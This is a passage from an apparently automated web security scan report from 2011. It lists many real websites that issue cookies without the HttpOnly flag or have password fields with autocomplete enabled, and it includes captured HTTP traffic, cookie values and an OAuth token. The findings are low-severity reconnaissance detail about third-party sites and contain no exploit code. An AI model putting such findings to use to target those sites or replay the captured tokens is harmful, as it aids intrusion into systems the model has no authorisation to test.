Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.....d.d......Ducky.......<......Adobe.d.................... ... .......

.

..........................................................................................................F.F..
...[SNIP]...

7.178. http://www.itworld.com/sites/default/files/picture-6090.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-6090.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-6090.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 06 Apr 2011 01:10:13 GMT
ETag: "4686ae-1961-4a035a7a28740"
Content-Type: image/jpeg
Content-Length: 6497
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:13 GMT
X-Varnish: 1959719236 1959715806
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 27
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.....d.d......Ducky.......P....?http://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.
...[SNIP]...

7.179. http://www.itworld.com/sites/default/files/picture-7283.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-7283.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-7283.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 06 Apr 2011 01:10:13 GMT
ETag: "4686f5-179b-4a035a7a28740"
Content-Type: image/jpeg
Content-Length: 6043
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:11 GMT
X-Varnish: 1959719135 1959715811
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 25
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.....d.d......Ducky.......P....?http://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.
...[SNIP]...

7.180. http://www.itworld.com/sites/default/files/picture-7409.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-7409.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-7409.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 06 Apr 2011 01:10:13 GMT
ETag: "468703-1987-4a035a7a28740"
Content-Type: image/jpeg
Content-Length: 6535
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:08 GMT
X-Varnish: 1959719006 1959715813
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 25
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.....d.d......Ducky.......P....?http://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.
...[SNIP]...

7.181. http://www.itworld.com/sites/default/files/picture-8601.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-8601.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-8601.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 27 Apr 2011 18:47:50 GMT
ETag: "4665b3-18ae-4a1eae0a26180"
Content-Type: image/jpeg
Content-Length: 6318
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:49 GMT
X-Varnish: 1959716192 1959715815
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.....d.d......Ducky.......P....?http://ns.adobe.com/xap/1.0/.<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.2.2-c063 53.
...[SNIP]...

7.182. http://www.itworld.com/sites/default/files/picture-9469.jpg previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/picture-9469.jpg

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/default/files/picture-9469.jpg HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 27 Apr 2011 21:52:41 GMT
ETag: "1af368-178e-4a1ed75b59c40"
Content-Type: image/jpeg
Content-Length: 6030
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:16:47 GMT
X-Varnish: 1959716166 1959715814
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 3
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90
...C......................
.....
...
.................................C....... .. .................................
...[SNIP]...

7.183. http://www.leadforce1.com/bf/bf.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.leadforce1.com
Path:	/bf/bf.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

lf1_visitor5932=1%3DOWVhODk0ZTdkYjgwM2U2ZGM1OTI3ZDc4ZGIxOWZkNDU%3D%3A2%3DMTMxNjUyNzcxMA%3D%3D%3A3%3DMTMxNjUyNzcwOQ%3D%3D%3A4%3DNzkxMDkzOTA%3D%3A5%3DMzM1ODc2Mg%3D%3D%3A11%3DMA%3D%3D; expires=Thu, 19-Sep-2013 14:08:30 GMT; domain=.leadforce1.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.184. http://www.lijit.com/beacon previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.lijit.com
Path:	/beacon

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

tpro_inst=deleted; expires=Sun, 19-Sep-2010 19:24:22 GMT; path=/; domain=.lijit.com
tpro=eJx9kctuxCAMRf%2FFazTikZDHd3Q3qhAiTIKUQESSStUo%2F16b6XS6aXccP66vzR3WnG5h9tDfYfRx8Jlei6UIv9SSwc0%2FqWpPBnYstcoISTEuGAiEpkCF0BpVEaiGgapN1RXQDGpu1vnYCKVEpWxdkXL2cBTssMHesrHLU9huwUYEBlPY1mc07RO55CjhpjAP2UeSiYkKGsXg0z%2BGNFgRoktLGcON4hQWaEVxowvIjoHmRvAHoQN8vmx2NCPNs38sHVP8PsSvMCIqjtkOZnNTMalP7NvCTj6u9%2FKCHt48pnGpHXqhhK7qrpW4xJ95zaVo%2Fs9rdb7%2FHAS%2FbQ%2B060udwZIG49IRqYnBh89bSHguEBcO5%2FkF5MSMrw%3D%3D; expires=Tue, 18-Sep-2012 19:24:23 GMT; path=/; domain=.lijit.com
ljt_csync=rtb_turn%3A1316459820%2Crtb_simplifi%3A1316459820%2Crtb_mmath%3A1316459820%2Crtb_media6%3A1316459820%2C1%3A1316459820; expires=Wed, 18-Sep-2013 19:24:23 GMT; path=/; domain=.lijit.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.185. http://www.microsoft.com/click/services/Redirect2.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.microsoft.com
Path:	/click/services/Redirect2.ashx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

RioTracking.CellCode=200019532; domain=.microsoft.com; path=/
OnlineTrackingV2.0=CTC=200019532; domain=.microsoft.com; path=/
RioTracking.EndActionCode=300009712; domain=.microsoft.com; path=/
OnlineTrackingV2.0=CATC=400199718&CTC=200019532; domain=.microsoft.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.186. https://www.onekingslane.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/
AWSELB=E793BD7B10DE5F6346855C8640BD433F984B7E214495322241CDD63CE0923FC3658F32BA7D2CE84CCFDC7B4159F23700C13E81615684FC5495E765989CD0272809BC98E9CB;PATH=/;MAX-AGE=432000

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.187. https://www.onekingslane.com/api/customer-summary.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/api/customer-summary.xml

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.188. https://www.onekingslane.com/careers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/careers

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.189. https://www.onekingslane.com/contact-us previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/contact-us

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.190. https://www.onekingslane.com/corporate/careers/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/corporate/careers/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.191. https://www.onekingslane.com/corporate/careers/tech/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/corporate/careers/tech/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.192. https://www.onekingslane.com/join previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/join

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.193. https://www.onekingslane.com/join/api%252Fcustomer-summary.xml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.onekingslane.com
Path:	/join/api%252Fcustomer-summary.xml

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ZDEDebuggerPresent=php,phtml,php3; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.194. http://www.simplyhired.com/a/catalog/keywords previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/catalog/keywords

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

shut=deleted; expires=Sun, 19-Sep-2010 20:35:06 GMT; path=/; domain=.simplyhired.com
shmk=deleted; expires=Sun, 19-Sep-2010 20:35:06 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.195. http://www.simplyhired.com/a/facebook/metrics previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/facebook/metrics

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

shut=deleted; expires=Sun, 19-Sep-2010 20:35:04 GMT; path=/; domain=.simplyhired.com
shmk=deleted; expires=Sun, 19-Sep-2010 20:35:04 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.196. http://www.simplyhired.com/a/facebook/status previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.simplyhired.com
Path:	/a/facebook/status

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

shut=deleted; expires=Sun, 19-Sep-2010 20:35:04 GMT; path=/; domain=.simplyhired.com
shmk=deleted; expires=Sun, 19-Sep-2010 20:35:04 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

7.197. http://www.twittergadget.com/oauth/redirect.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.twittergadget.com
Path:	/oauth/redirect.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rt=hOxMlwECjzATFTVUQJOUR1cANKm0c7UssaqXkIWXmq0; path=/
rts=%1B%12h%1C%3D%604d7%17%0B%19%02%253%17%0F0%7F%3E1%1C%1F%26%3E%175%14%7C7y%148%167v-%08p%2F%0A; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /oauth/redirect.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Mon, 19 Sep 2011 15:19:59 GMT
Server: Apache
P3P: CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Cache-Control: no-cache, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Set-Cookie: rt=hOxMlwECjzATFTVUQJOUR1cANKm0c7UssaqXkIWXmq0; path=/
Set-Cookie: rts=%1B%12h%1C%3D%604d7%17%0B%19%02%253%17%0F0%7F%3E1%1C%1F%26%3E%175%14%7C7y%148%167v-%08p%2F%0A; path=/
Location: http://twitter.com/oauth/authorize?oauth_token=hOxMlwECjzATFTVUQJOUR1cANKm0c7UssaqXkIWXmq0&screen_name=&force_login=true
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

7.198. https://www.twittergadget.com/oauth/redirect.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.twittergadget.com
Path:	/oauth/redirect.php

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

rt=yHcaqDlEXVB6FDtP8NBeEqD3BwwpTEr2SW9AMI5Jzs; path=/
rts=v%24g6%09%0A+%153%3C3%08%199%22%15%3A%19%1A%03u%119%12%0FD%26%28%12%11%04%0Bb%0D%230%2B%7B%2F%2A%3D%0C%1C; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /oauth/redirect.php HTTP/1.1
Host: www.twittergadget.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

7.199. http://www.visitor-track.com/admin/loghit.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.visitor-track.com
Path:	/admin/loghit.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

cke105541=9%2F19%2F2011+11%3A07%3A43+AM; expires=Mon, 19-Sep-2016 15:07:42 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /admin/loghit.asp?id=105541&rp=http%3A//www.coldspringframework.org/&sw=1920&sh=1200&pa=http%3A//www.fusebox.org/&bn=Netscape%20v5.0%20%28Windows%20NT%206.1%3B%20WOW64%29%20AppleWebKit/535.1%20%28KHTML%2C%20like%20Gecko%29%20Chrome/14.0.835.163%20Safari/535.1&tz=5&vr=3 HTTP/1.1
Host: www.visitor-track.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: */*
Referer: http://www.fusebox.org/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 15:07:43 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NOI DSP COR NID CUR OUR NOR"
X-Powered-By: ASP.NET
Content-Length: 43
Content-Type: image/gif
Expires: Mon, 19 Sep 2011 15:07:43 GMT
Set-Cookie: cke105541=9%2F19%2F2011+11%3A07%3A43+AM; expires=Mon, 19-Sep-2016 15:07:42 GMT; path=/
Cache-control: private

GIF89a.............!.......,...........D..;

7.200. http://www.youtube.com/get_video_info previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/get_video_info

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

GEO=044bc9ef6d5ff2cb87f1572f2d8b7146cwsAAAAzVVMyF3tqTnddAA==; path=/; domain=.youtube.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

7.201. http://www9.effectivemeasure.net/v4/em_js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www9.effectivemeasure.net
Path:	/v4/em_js

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

vt=153c119336ee7dc00cb9d928fce04e4bf6a560aa60-428426584e7795a8; expires=Thu, 13-Sep-2012 19:19:04 GMT; path=/; domain=.effectivemeasure.net
v=4b68f8432d2af1cfddf0a552d1ee4e77951862c3f1-255644014e7795a89_73; expires=Mon, 19-Sep-2011 19:49:04 GMT; path=/; domain=.effectivemeasure.net

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v4/em_js?flag=0&v=&vt=&hl=&sv=0&pv=&pn=&p=aHR0cDovL3d3dy5saWZlaGFja2VyLmNvbS5hdS8%3D&r=aHR0cDovL3d3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tL3JlZmVycmVyUGF0aE5hbWU%2FUmVmUGFyTmFtZT1SZWZWYWx1ZQ%3D%3D&f=0&ns=_em&rnd=0.1121701293131997&u=&sf=1& HTTP/1.1
Host: www9.effectivemeasure.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.lifehacker.com.au/
Cookie: vt=ffe99914f4871625e919d928fce04e4bf6a560aa60-428426584e4bf6c5

Response

HTTP/1.1 200 OK
P3P: policyref="http://www.effectivemeasure.net/w3c/p3p.xml", CP="NOI DSP COR NID PSA ADM OUR IND UNI NAV COM"
Pragma: no-cache
Cache-Control: no-cache
Cache-Control: no-cache, must-revalidate
Pragma-directive: no-cache
Cache-Directive: no-cache
Expires: 0
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Set-Cookie: vt=153c119336ee7dc00cb9d928fce04e4bf6a560aa60-428426584e7795a8; expires=Thu, 13-Sep-2012 19:19:04 GMT; path=/; domain=.effectivemeasure.net
Set-Cookie: v=4b68f8432d2af1cfddf0a552d1ee4e77951862c3f1-255644014e7795a89_73; expires=Mon, 19-Sep-2011 19:49:04 GMT; path=/; domain=.effectivemeasure.net
Content-type: text/javascript
Connection: close
Content-Length: 181
Date: Mon, 19 Sep 2011 19:19:04 GMT
Server: C11

_em._domain="lifehacker.com.au";_em.setCkVt("153c119336ee7dc00cb9d928fce04e4bf6a560aa60-428426584e7795a8");_em.setCkV("4b68f8432d2af1cfddf0a552d1ee4e77951862c3f1-255644014e7795a8");

8. Password field with autocomplete enabled previous next
There are 14 instances of this issue:

http://www.cnet.com/8799-4_1-0.html
http://www.cnet.com/8799-4_1-0.html
http://www.cnet.com/8799-4_1-0.html
http://www.cnet.com/8799-4_1-0.html
http://www.cnet.com/8799-4_1-0.html
http://www.facebook.com/creditsuisse
http://www.filecluster.com/
http://www.filecluster.com/Games/
http://www.games.net/community/door_check.cfm
http://www.law.com/js/registration_globalNavBar.js
https://www.merchantlink.com/logon/log_log_page.jsp
http://www.pcworld.com/pcworldconnect/comment_registration
http://www.simplyhired.com/a/accounts/login
https://www.twittergadget.com/tgauth.php

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

8.1. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page contains a form with the following action URL:

http://www.cnet.com/8750-4_1-0.html

The form contains the following password fields with autocomplete enabled:

password
passwordConf

Request

Response

8.2. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page contains a form with the following action URL:

http://www.cnet.com/8750-4_1-0.html

The form contains the following password fields with autocomplete enabled:

password
passwordConf

Request

Response

8.3. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page contains a form with the following action URL:

http://www.cnet.com/8750-4_1-0.html

The form contains the following password field with autocomplete enabled:

password

Request

Response

8.4. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page contains a form with the following action URL:

http://www.cnet.com/8750-4_1-0.xml

The form contains the following password field with autocomplete enabled:

password

Request

Response

8.5. http://www.cnet.com/8799-4_1-0.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.cnet.com
Path:	/8799-4_1-0.html

Issue detail

The page contains a form with the following action URL:

http://www.cnet.com/8750-4_1-0.html

The form contains the following password field with autocomplete enabled:

password

Request

Response

8.6. http://www.facebook.com/creditsuisse previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/creditsuisse

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

GET /creditsuisse HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
X-UA-Compatible: IE=edge
X-XSS-Protection: 0
Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fcreditsuisse; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.200.42
Connection: close
Date: Mon, 19 Sep 2011 14:46:29 GMT
Content-Length: 187328

<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" xmlns:og="http://opengraphprotocol.org/schema/" lang="en" id="facebook" class="no_js">
<head><meta charset="utf-8" /><script>Cav
...[SNIP]...
<div class="menu_login_container"><form method="POST" action="https://www.facebook.com/login.php?login_attempt=1" id="login_form" onsubmit="return Event.__inlineSubmit(this,event)"><input type="hidden" name="charset_test" value="€,´,...,..,...,..,.." />
...[SNIP]...
<td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2" /></td>
...[SNIP]...

8.7. http://www.filecluster.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.filecluster.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://www.filecluster.com/login.html

The form contains the following password field with autocomplete enabled:

password

Request

Response

8.8. http://www.filecluster.com/Games/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.filecluster.com
Path:	/Games/

Issue detail

The page contains a form with the following action URL:

http://www.filecluster.com/login.html

The form contains the following password field with autocomplete enabled:

password

Request

Response

8.9. http://www.games.net/community/door_check.cfm previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.games.net
Path:	/community/door_check.cfm

Issue detail

The page contains a form with the following action URL:

http://www.games.net/community/login_action.cfm

The form contains the following password field with autocomplete enabled:

the_password

Request

Response

8.10. http://www.law.com/js/registration_globalNavBar.js previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.law.com
Path:	/js/registration_globalNavBar.js

Issue detail

The page contains a form with the following action URL:

http://www.law.com/js/registration_globalNavBar.js

The form contains the following password fields with autocomplete enabled:

upass
upass

Request

Response

8.11. https://www.merchantlink.com/logon/log_log_page.jsp previous next

Summary

Severity:	Low
